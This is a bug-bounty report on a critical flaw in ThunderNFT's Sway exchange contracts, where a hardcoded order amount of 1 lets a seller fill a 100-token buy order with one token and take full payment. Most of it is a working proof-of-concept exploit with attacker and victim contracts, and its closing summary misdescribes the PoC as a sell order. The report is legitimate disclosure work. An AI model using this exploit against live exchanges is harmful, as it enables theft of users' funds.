IOP _ ThunderNFT 34630 - [Smart Contract - Critical] Incorrect Token Sale Amount

Incorrect Token Sale Amount

Submitted on Sun Aug 18 2024 18:35:30 GMT-0400 (Atlantic Standard Time) by @Blockian for IOP | ThunderNFT

Report ID: #34630

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/ThunderFuel/smart-contracts/tree/main/contracts-v1/libraries

Impacts:

• Permanent freezing of funds

• Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Description

Thunder Exchange

Incorrect Token Sale Amount

Description

An issue has been identified that allows a malicious actor to sell only one token, even if the Buy Order specifies a greater quantity. This vulnerability effectively bypasses the intended order amount.

Root Cause

As discussed in our Discord exchange, the Order.amount field was introduced to accommodate ERC1155-style tokens:

Hi! Yes, amount is added in case of Erc1155 style token standard

This clearly states that the Order.amount can be greater than 1. However, when executing an order, the ExecutionResult has a hardcoded amount of 1:

    pub fn s1(maker_order: MakerOrder, taker_order: TakerOrder) -> ExecutionResult {
        ExecutionResult {
            // ...
            amount: 1, // 
            // ...
        }
    }

As a result, the specified amount in the Order is effectively ignored.

Impact

This issue has two significant impacts:

Buy Order

For a Maker Order of type Buy, an attacker can sell a single token instead of the specified quantity, receiving full payment and effectively defrauding the buyer.

Sell Order

For a Maker Order of type Sell, an innocent buyer may pay the full price but only receive a single token, with the remainder of the tokens being locked away.

Proposed fix

To resolve this issue, the maker_order.amount should be included when crafting the ExecutionResult.

Proof of concept

Proof of Concept

Due to the relatively new nature of the Sway language and the limited availability of reliable testing tools, the proof of concept (PoC) is complex.

Below is a pseudo-PoC followed by a detailed actual PoC.

Pseudo POC

1. An innocent user creates a Buy Order for an asset, specifying an amount greater than one.

2. A malicious actor executes the Buy Order but only sells one token.

        // innocent user
        exchange.place_order(order);

        // attacker
        exchange.execute_order{ asset_id: AssetId::new(order.collection, order.token_id).bits(), coins: 1 }(order); // attackers sells only 1 token although the users asked for 100

Actual POC

There are some steps to follow:

To create an actual PoC, some modifications to the protocol are necessary.

1. The protocol currently only allows addresses to interact, which is generally fine. However, when transferring coins in the Fuel ecosystem, a Variable Output needs to be added to the transaction — this isn't supported by the current Sway testing tools.

2. Since this vulnerability is unrelated to the nature of who interacts with the protocol, adjustments will be made to allow contracts to interact, enabling the PoC. These changes are strictly for testing purposes and do not affect the core issue.

Changes to the protocol for the POC

• Add the following changes to the thunder_exchange contract:

// line 141 change from:
        let caller = get_msg_sender_address_or_panic();
// change to
        let caller = Address::from(get_msg_sender_contract_or_panic().bits()); // changed for POC
/* ------------------------------------------------------------------------------------------------------ */
// line 162 change from:
        Identity::Address(unwrapped_order.maker),
// change to
        Identity::ContractId(ContractId::from(unwrapped_order.maker.bits())), // changed for POC
/* ------------------------------------------------------------------------------------------------------ */
// line 324 change from:
        require(input.maker == get_msg_sender_address_or_panic(), ThunderExchangeErrors::CallerMustBeMaker);
// change to
        require(input.maker == Address::from(get_msg_sender_contract_or_panic().bits()), ThunderExchangeErrors::CallerMustBeMaker);  // changed for POC
/* ------------------------------------------------------------------------------------------------------ */
// line 352 change from:
        require(taker_order.taker == get_msg_sender_address_or_panic(), ThunderExchangeErrors::CallerMustBeMaker);
// change to
        require(taker_order.taker == Address::from(get_msg_sender_contract_or_panic().bits()), ThunderExchangeErrors::CallerMustBeMaker); // changed for POC
/* ------------------------------------------------------------------------------------------------------ */
// line 388 change from:
        Identity::Address(order.taker),
// change to
        Identity::ContractId(ContractId::from(order.taker.bits())),  // changed for POC
/* ------------------------------------------------------------------------------------------------------ */
// line 408 change from:
        Identity::Address(order.maker),
// change to
        Identity::ContractId(ContractId::from(order.maker.bits())),  // changed for POC
/* ------------------------------------------------------------------------------------------------------ */
// line 454 change from:
        transfer(Identity::Address(to), payment_asset, final_seller_amount);
// change to
        transfer(Identity::ContractId(ContractId::from(to.bits())), payment_asset, final_seller_amount);  // changed for POC
/* ------------------------------------------------------------------------------------------------------ */
// line 474 change from:
        Identity::Address(from),
// change to
        Identity::ContractId(ContractId::from(from.bits())),  // changed for POC
/* ------------------------------------------------------------------------------------------------------ */
// line 508 change from:
        transfer(Identity::Address(to), payment_asset, final_seller_amount);
// change to
        transfer(Identity::ContractId(ContractId::from(to.bits())), payment_asset, final_seller_amount);  // changed for POC
/* ------------------------------------------------------------------------------------------------------ */
// line 521 change from:
        pool.balance_of(Identity::Address(account), asset)
// change to
        pool.balance_of(Identity::ContractId(ContractId::from(account.bits())), asset)  // changed for POC

In addition, To make an MakerOrderInput Struct, we need to make the ExtraParams Struct public, so in the order_types.sw file, lets add a pub in line 37.

The tests files.

• Create forc.toml in contracts-v1 and add the below in the forc.toml:

[workspace]
members = ["tests", "asset_manager", "erc721", "execution_manager", "execution_strategies/strategy_fixed_price_sale" ,"libraries", "interfaces" , "pool", "royalty_manager", "thunder_exchange", "test_asset", "test_user", "test_attacker"]

• Create 4 new folder called tests, test_user, test_attacker, and test_asset under the contracts-v1 directory:

• In the each folder create a folder named src with a file called main.sw, and a forc.toml file. The folder tree will look like this:

contracts-v1
├── test_asset
│   ├── forc.toml
│   └── src
│       └── main.sw
├── test_attacker
│   ├── forc.toml
│   └── src
│       └── main.sw
├── test_user
│   ├── forc.toml
│   └── src
│       └── main.sw
├── tests
│   ├── forc.toml
│   └── src
│       └── main.sw

tests folder

In the tests folder.

• Add the below in the forc.toml:

[project]
authors = ["Blockian"]
entry = "main.sw"
license = "Apache-2.0"
name = "test_contract"

[dependencies]
standards = { git = "https://github.com/FuelLabs/sway-standards", tag = "v0.4.4" }
interfaces = { path = "../interfaces" }
libraries = { path = "../libraries" }


[contract-dependencies]

asset_manager = { path = "../asset_manager" }

thunder_exchange = { path = "../thunder_exchange" }

pool = { path = "../pool" }

execution_manager = { path = "../execution_manager" }

royalty_manager = { path = "../royalty_manager" }

strategy_fixed_price_sale = {path = "../execution_strategies/strategy_fixed_price_sale"}

test_asset = { path = "../test_asset" }

test_user = { path = "../test_user" }
test_attacker = { path = "../test_attacker" }

• Add the below in the main.sw:

contract;

use interfaces::{
  thunder_exchange_interface::{ThunderExchange},
  royalty_manager_interface::*,
  asset_manager_interface::*,
  execution_manager_interface::ExecutionManager,
  execution_strategy_interface::*,
  test_attacker_interface::*,
  test_user_interface::*,
  pool_interface::Pool,
};

use libraries::{
  msg_sender_address::*,
  constants::*,
  order_types::*,
  ownable::*,
};

use standards::{src3::SRC3};

use std::{
  block::timestamp,
  auth::*,
  call_frames::*,
  context::*,
  contract_id::ContractId,
  constants::DEFAULT_SUB_ID,
  logging::log,
  revert::require,
  assert::*,
  storage::storage_map::*,
  asset::*
};

fn initialize_functions() {
  //initialize all contracts 

  let thunder_exch = abi(ThunderExchange, thunder_exchange::CONTRACT_ID);
  thunder_exch.initialize();

  let asset_mngr = abi(AssetManager, asset_manager::CONTRACT_ID);
  asset_mngr.initialize();

  let execution_manager = abi(ExecutionManager, execution_manager::CONTRACT_ID);
  execution_manager.initialize();

  let royalty_manager = abi(RoyaltyManager, royalty_manager::CONTRACT_ID);
  royalty_manager.initialize();

  // required for initialize below contracts
  let exchange_contract_id = ContractId::from(thunder_exchange::CONTRACT_ID);
  let asset_manger_contract_id = ContractId::from(asset_manager::CONTRACT_ID);
  let pool_contract_id = ContractId::from(pool::CONTRACT_ID);
  let strategy_contract_id = ContractId::from(strategy_fixed_price_sale::CONTRACT_ID);

  let fixed_strategy = abi(ExecutionStrategy, strategy_fixed_price_sale::CONTRACT_ID);
  fixed_strategy.initialize(exchange_contract_id);

  let pool = abi(Pool, pool::CONTRACT_ID);
  pool.initialize(exchange_contract_id, asset_manger_contract_id);

  // initialize user and attacker
  let user = abi(TestUser, test_user::CONTRACT_ID);
  user.initialize(exchange_contract_id, pool_contract_id, strategy_contract_id);

  let attacker = abi(TestAttacker, test_attacker::CONTRACT_ID);
  attacker.initialize(exchange_contract_id, pool_contract_id, strategy_contract_id);

  thunder_exch.set_pool(pool_contract_id);
  thunder_exch.set_execution_manager(ContractId::from(execution_manager::CONTRACT_ID));
  thunder_exch.set_royalty_manager(ContractId::from(royalty_manager::CONTRACT_ID));
  thunder_exch.set_asset_manager(asset_manger_contract_id);
}


fn setup_exchange() {
  let example_asset = abi(SRC3, test_asset::CONTRACT_ID);
  let asset_mngr = abi(AssetManager, asset_manager::CONTRACT_ID);
  let execution_manager = abi(ExecutionManager, execution_manager::CONTRACT_ID);

  let asset_id = AssetId::new(ContractId::from(test_asset::CONTRACT_ID), DEFAULT_SUB_ID);

  asset_mngr.add_asset(asset_id);
  execution_manager.add_strategy(ContractId::from(strategy_fixed_price_sale::CONTRACT_ID));

  // fund users of the protocol
  example_asset.mint(Identity::ContractId(ContractId::from(test_attacker::CONTRACT_ID)), DEFAULT_SUB_ID, 1000);
  example_asset.mint(Identity::ContractId(ContractId::from(test_user::CONTRACT_ID)), DEFAULT_SUB_ID, 1000);

  // fund users of the protocol
  let SUB_ERC_1155_ID: SubId = 0x0000000000000000000000000000000000000000000000000000000000000001;
  example_asset.mint(Identity::ContractId(ContractId::from(test_attacker::CONTRACT_ID)), SUB_ERC_1155_ID, 1000);
  example_asset.mint(Identity::ContractId(ContractId::from(test_user::CONTRACT_ID)), SUB_ERC_1155_ID, 1000);
}

fn call_attack() {
  let SUB_ERC_1155_ID: SubId = 0x0000000000000000000000000000000000000000000000000000000000000001;

  let user = abi(TestUser, test_user::CONTRACT_ID);
  let attacker = abi(TestAttacker, test_attacker::CONTRACT_ID);

  let asset_id = AssetId::new(ContractId::from(test_asset::CONTRACT_ID), DEFAULT_SUB_ID);
  let strategy = ContractId::from(strategy_fixed_price_sale::CONTRACT_ID);

  let params = ExtraParams {
    extra_address_param: ZERO_ADDRESS,
    extra_contract_param: ZERO_CONTRACT_ID,
    extra_u64_param: 0,
  };

  let order = MakerOrderInput {
    side: Side::Buy,
    maker: Address::from(test_user::CONTRACT_ID),
    collection: ContractId::from(test_asset::CONTRACT_ID),
    token_id: SUB_ERC_1155_ID,
    price: 500,
    amount: 100,
    nonce: 1,
    strategy: strategy,
    payment_asset: asset_id,
    expiration_range: 1000,
    extra_params: params,
  };

  // user places ordinary buy order
  user.place_buy_order(asset_id, 500, order);


  let taker_order = TakerOrder {
    side: Side::Sell,
    taker: Address::from(test_attacker::CONTRACT_ID),
    maker: Address::from(test_user::CONTRACT_ID),
    nonce: 1,
    price: 500,
    token_id: SUB_ERC_1155_ID,
    collection: ContractId::from(test_asset::CONTRACT_ID),
    strategy: strategy,
    extra_params: params,
  };

  // attackers sells only 1 token although the users asked for 100
  attacker.execute_attack(taker_order);

  assert(balance_of(ContractId::from(test_attacker::CONTRACT_ID), AssetId::new(order.collection, order.token_id)) == (1000 - 1)); // attaker sold only 1 token instead of 100
  assert(balance_of(ContractId::from(test_attacker::CONTRACT_ID), asset_id) == (1000 + 500)); // attaker received the full payment
}

#[test()]
fn test_attack() {
  initialize_functions();
  setup_exchange();

  // attack part
  call_attack();
}

test_user folder

In the test_user folder.

• Add the below in the forc.toml:

[project]
authors = ["Blockian"]
entry = "main.sw"
license = "Apache-2.0"
name = "test_user"

[dependencies]
interfaces = { path = "../interfaces" }
libraries = { path = "../libraries" }
standards = { git = "https://github.com/FuelLabs/sway-standards", tag = "v0.4.4" }

• Add the below in the main.sw:

contract;

use std::{
    address::Address,
    auth::*,
    call_frames::*,
    constants::*,
    context::*,
    contract_id::ContractId,
    hash::Hash,
    logging::log,
    identity::Identity,
    revert::*,
    asset::*,
    storage::storage_map::*,
};

use interfaces::{
    asset_manager_interface::*,
    pool_interface::*,
    test_user_interface::*,
    thunder_exchange_interface::{ThunderExchange},
};

use libraries::{
    msg_sender_address::*,
    constants::*,
    order_types::*,
};

storage {
    /// Thunder Exchange contractId
    exchange: Option<ContractId> = Option::None,

    /// Pool contractId
    pool: Option<ContractId> = Option::None,

    /// Strategy contractId
    strategy: Option<ContractId> = Option::None,
}

impl TestUser for Contract {
    #[storage(read, write)]
    fn initialize(exchange: ContractId, pool: ContractId, strategy: ContractId) {
        storage.exchange.write(Option::Some(exchange));
        storage.pool.write(Option::Some(pool));
        storage.strategy.write(Option::Some(strategy));
    }

    #[storage(read)]
    fn place_buy_order(asset: AssetId, amount: u64, order: MakerOrderInput) {
        // let strategy = storage.strategy.read().unwrap();
        let exchange_addr = storage.exchange.read().unwrap().bits();
        let exchange = abi(ThunderExchange, exchange_addr);
        let pool_addr = storage.pool.read().unwrap().bits();
        let pool = abi(Pool, pool_addr);

        // deposit to pool and create order
        pool.deposit{ asset_id: asset.bits(), coins: amount }();
        exchange.place_order(order);
        // pool.withdraw(asset, amount);
    }

    #[storage(read)]
    fn place_sell_order(order: MakerOrderInput) {
        let exchange_addr = storage.exchange.read().unwrap().bits();
        let exchange = abi(ThunderExchange, exchange_addr);

        exchange.place_order{ asset_id: AssetId::new(order.collection, order.token_id).bits(), coins: order.amount }(order); // user places an innocent order
    }
}

test_attacker folder

In the test_attacker folder.

• Add the below in the forc.toml:

[project]
authors = ["Blockian"]
entry = "main.sw"
license = "Apache-2.0"
name = "test_attacker"

[dependencies]
interfaces = { path = "../interfaces" }
libraries = { path = "../libraries" }
standards = { git = "https://github.com/FuelLabs/sway-standards", tag = "v0.4.4" }

• Add the below in the main.sw:

contract;

use std::{
    address::Address,
    auth::*,
    call_frames::*,
    constants::*,
    context::*,
    contract_id::ContractId,
    hash::Hash,
    logging::log,
    identity::Identity,
    revert::*,
    asset::*,
    storage::storage_map::*,
};

use interfaces::{
    asset_manager_interface::*,
    pool_interface::*,
    test_attacker_interface::*,
    thunder_exchange_interface::{ThunderExchange},
};

use libraries::{
    msg_sender_address::*,
    constants::*,
    order_types::*,
};

storage {
    /// Thunder Exchange contractId
    exchange: Option<ContractId> = Option::None,

    /// Pool contractId
    pool: Option<ContractId> = Option::None,

    /// Strategy contractId
    strategy: Option<ContractId> = Option::None,
}

impl TestAttacker for Contract {
    #[storage(read, write)]
    fn initialize(exchange: ContractId, pool: ContractId, strategy: ContractId) {
        storage.exchange.write(Option::Some(exchange));
        storage.pool.write(Option::Some(pool));
        storage.strategy.write(Option::Some(strategy));
    }

    #[storage(read)]
    fn execute_attack(order: TakerOrder) {
        let exchange_addr = storage.exchange.read().unwrap().bits();
        let exchange = abi(ThunderExchange, exchange_addr);
        
        exchange.execute_order{ asset_id: AssetId::new(order.collection, order.token_id).bits(), coins: 1 }(order); // attackers sells only 1 token although the users asked for 100
    }
}

test_asset folder

In the test_asset folder. The test asset is simply the Fuel Team SRC3 example

• Add the below in the forc.toml:

[project]
authors = ["Blockian"]
entry = "main.sw"
license = "Apache-2.0"
name = "test_asset"

[dependencies]
standards = { git = "https://github.com/FuelLabs/sway-standards", tag = "v0.4.4" }

• Add the below in the main.sw:

contract;

use standards::{src20::SRC20, src3::SRC3};
use std::{
    asset::{
        burn,
        mint_to,
    },
    call_frames::msg_asset_id,
    context::msg_amount,
    hash::Hash,
    storage::storage_string::*,
    string::String,
};

// In this example, all assets minted from this contract have the same decimals, name, and symbol
configurable {
    /// The decimals of every asset minted by this contract.
    DECIMALS: u8 = 9u8,
    /// The name of every asset minted by this contract.
    NAME: str[12] = __to_str_array("ExampleAsset"),
    /// The symbol of every asset minted by this contract.
    SYMBOL: str[2] = __to_str_array("EA"),
}

storage {
    /// The total number of distinguishable assets this contract has minted.
    total_assets: u64 = 0,
    /// The total supply of a particular asset.
    total_supply: StorageMap<AssetId, u64> = StorageMap {},
}

impl SRC3 for Contract {
    /// Unconditionally mints new assets using the `sub_id` sub-identifier.
    ///
    /// # Arguments
    ///
    /// * `recipient`: [Identity] - The user to which the newly minted asset is transferred to.
    /// * `sub_id`: [SubId] - The sub-identifier of the newly minted asset.
    /// * `amount`: [u64] - The quantity of coins to mint.
    ///
    /// # Number of Storage Accesses
    ///
    /// * Reads: `2`
    /// * Writes: `2`
    ///
    /// # Examples
    ///
    /// ```sway
    /// use src3::SRC3;
    /// use std::constants::DEFAULT_SUB_ID;
    ///
    /// fn foo(contract_id: ContractId) {
    ///     let contract_abi = abi(SRC3, contract_id);
    ///     contract_abi.mint(Identity::ContractId(contract_id), DEFAULT_SUB_ID, 100);
    /// }
    /// ```
    #[storage(read, write)]
    fn mint(recipient: Identity, sub_id: SubId, amount: u64) {
        let asset_id = AssetId::new(ContractId::this(), sub_id);

        // If this SubId is new, increment the total number of distinguishable assets this contract has minted.
        let asset_supply = storage.total_supply.get(asset_id).try_read();
        match asset_supply {
            None => {
                storage.total_assets.write(storage.total_assets.read() + 1)
            },
            _ => {},
        }

        // Increment total supply of the asset and mint to the recipient.
        storage
            .total_supply
            .insert(asset_id, amount + asset_supply.unwrap_or(0));
        mint_to(recipient, sub_id, amount);
    }

    /// Unconditionally burns assets sent with the `sub_id` sub-identifier.
    ///
    /// # Arguments
    ///
    /// * `sub_id`: [SubId] - The sub-identifier of the asset to burn.
    /// * `amount`: [u64] - The quantity of coins to burn.
    ///
    /// # Number of Storage Accesses
    ///
    /// * Reads: `1`
    /// * Writes: `1`
    ///
    /// # Reverts
    ///
    /// * When the transaction did not include at least `amount` coins.
    /// * When the asset included in the transaction does not have the SubId `sub_id`.
    ///
    /// # Examples
    ///
    /// ```sway
    /// use src3::SRC3;
    /// use std::constants::DEFAULT_SUB_ID;
    ///
    /// fn foo(contract_id: ContractId, asset_id: AssetId) {
    ///     let contract_abi = abi(SRC3, contract_id);
    ///     contract_abi {
    ///         gas: 10000,
    ///         coins: 100,
    ///         asset_id: asset_id,
    ///     }.burn(DEFAULT_SUB_ID, 100);
    /// }
    /// ```
    #[payable]
    #[storage(read, write)]
    fn burn(sub_id: SubId, amount: u64) {
        let asset_id = AssetId::new(ContractId::this(), sub_id);
        require(msg_amount() == amount, "Incorrect amount provided");
        require(msg_asset_id() == asset_id, "Incorrect asset provided");

        // Decrement total supply of the asset and burn.
        storage
            .total_supply
            .insert(asset_id, storage.total_supply.get(asset_id).read() - amount);
        burn(sub_id, amount);
    }
}

// SRC3 extends SRC20, so this must be included
impl SRC20 for Contract {
    #[storage(read)]
    fn total_assets() -> u64 {
        storage.total_assets.read()
    }

    #[storage(read)]
    fn total_supply(asset: AssetId) -> Option<u64> {
        storage.total_supply.get(asset).try_read()
    }

    #[storage(read)]
    fn name(asset: AssetId) -> Option<String> {
        match storage.total_supply.get(asset).try_read() {
            Some(_) => Some(String::from_ascii_str(from_str_array(NAME))),
            None => None,
        }
    }

    #[storage(read)]
    fn symbol(asset: AssetId) -> Option<String> {
        match storage.total_supply.get(asset).try_read() {
            Some(_) => Some(String::from_ascii_str(from_str_array(SYMBOL))),
            None => None,
        }
    }

    #[storage(read)]
    fn decimals(asset: AssetId) -> Option<u8> {
        match storage.total_supply.get(asset).try_read() {
            Some(_) => Some(DECIMALS),
            None => None,
        }
    }
}

Interfaces

Now we need to add the test_user and test_attacker interfaces to interact with. In the interfaces/src folder, in the lib.sw add the following lines:

pub mod test_user_interface;
pub mod test_attacker_interface;

Additionally, create a file called test_user_interface.sw in the interfaces/src folder and add the following:

library;

use libraries::{
    order_types::*,
};

abi TestUser {
    #[storage(read, write)]
    fn initialize(exchange: ContractId, pool: ContractId, strategy: ContractId);

    #[storage(read)]
    fn place_buy_order(asset: AssetId, amount: u64, order: MakerOrderInput);

    #[storage(read)]
    fn place_sell_order(order: MakerOrderInput);
}

Create a file called test_attacker_interface.sw in the interfaces/src folder and add the following:

library;

use libraries::{
    order_types::*,
};

abi TestAttacker {
    #[storage(read, write)]
    fn initialize(exchange: ContractId, pool: ContractId, strategy: ContractId);

    #[storage(read)]
    fn execute_attack(order: TakerOrder);
}

Run it all!

Simply run forc test in smart-contracts/contracts-v1.

POC TL;DR

1. Initializing the project contracts

2. Minting some coins to the test_user and test_attacker

3. Test User creates an innocent Sell Order

4. Test Attacker steals Test User's deposited tokens